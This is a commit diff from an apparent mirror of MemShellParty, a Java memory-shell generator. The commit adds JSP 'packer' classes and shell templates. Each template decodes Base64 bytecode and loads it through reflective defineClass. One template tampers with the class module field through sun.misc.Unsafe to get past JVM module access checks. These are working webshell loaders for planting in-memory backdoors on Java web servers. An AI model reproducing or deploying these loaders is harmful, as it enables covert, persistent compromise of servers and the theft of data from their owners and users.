mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support defineClass JSP packers
This commit is contained in:
@@ -24,9 +24,7 @@ import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.*;
|
||||
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
||||
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
||||
@@ -68,7 +66,9 @@ public enum Packers {
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
|
||||
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||
BypassDefineClassJSP(new BypassDefineClassJspPacker(), JspPacker.class),
|
||||
JSPX(new JspxPacker(), JspPacker.class),
|
||||
|
||||
/**
|
||||
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.memshell.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class BypassDefineClassJspPacker implements Packer {
|
||||
|
||||
String jspTemplate = null;
|
||||
|
||||
public BypassDefineClassJspPacker() {
|
||||
try {
|
||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
+2
-2
@@ -12,11 +12,11 @@ import java.util.Objects;
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class DefalutJspPacker implements Packer {
|
||||
public class ClassLoaderJspPacker implements Packer {
|
||||
|
||||
String jspTemplate = null;
|
||||
|
||||
public DefalutJspPacker() {
|
||||
public ClassLoaderJspPacker() {
|
||||
try {
|
||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.memshell.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class DefineClassJspPacker implements Packer {
|
||||
|
||||
String jspTemplate = null;
|
||||
|
||||
public DefineClassJspPacker() {
|
||||
try {
|
||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
@@ -1,50 +1,27 @@
|
||||
<%!
|
||||
public static class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
public ClassDefiner(ClassLoader classLoader) {
|
||||
super(classLoader);
|
||||
}
|
||||
|
||||
public byte[] decodeBase64(String bytecodeBase64) {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
||||
} catch (Exception ee) {
|
||||
try {
|
||||
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
String className = "{{className}}";
|
||||
String base64Str = "{{base64Str}}";
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
classLoader.loadClass(className).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] bytecode = decodeBase64(base64Str);
|
||||
Class<?> clazz = defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return className;
|
||||
}
|
||||
}
|
||||
%>
|
||||
|
||||
<%
|
||||
new ClassDefiner().toString();
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
|
||||
}
|
||||
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
%>
|
||||
@@ -3,51 +3,28 @@
|
||||
<jsp:directive.page pageEncoding="UTF-8"/>
|
||||
<jsp:declaration><![CDATA[
|
||||
public static class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
public ClassDefiner(ClassLoader classLoader) {
|
||||
super(classLoader);
|
||||
}
|
||||
|
||||
public byte[] decodeBase64(String bytecodeBase64) {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
||||
} catch (Exception ee) {
|
||||
try {
|
||||
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
String className = "{{className}}";
|
||||
String base64Str = "{{base64Str}}";
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
classLoader.loadClass(className).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] bytecode = decodeBase64(base64Str);
|
||||
Class<?> clazz = defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return className;
|
||||
}
|
||||
}
|
||||
]]></jsp:declaration>
|
||||
<jsp:scriptlet><![CDATA[
|
||||
new ClassDefiner().toString();
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
|
||||
}
|
||||
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
]]></jsp:scriptlet>
|
||||
</jsp:root>
|
||||
@@ -0,0 +1,18 @@
|
||||
<%
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException e) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
|
||||
}
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
|
||||
clazz.newInstance();
|
||||
%>
|
||||
@@ -0,0 +1,42 @@
|
||||
<%@ page import="java.lang.reflect.Method" %>
|
||||
<%@ page import="java.lang.reflect.Field" %>
|
||||
<%@ page import="java.net.URLClassLoader" %>
|
||||
<%@ page import="java.net.URL" %><%
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException e) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
|
||||
}
|
||||
Object unsafe = null;
|
||||
Object rawModule = null;
|
||||
long offset = 48;
|
||||
Method getAndSetObjectM = null;
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
unsafe = unsafeField.get(null);
|
||||
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defMethod.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
|
||||
if (getAndSetObjectM != null) {
|
||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||
}
|
||||
clazz.newInstance();
|
||||
%>
|
||||
Reference in New Issue
Block a user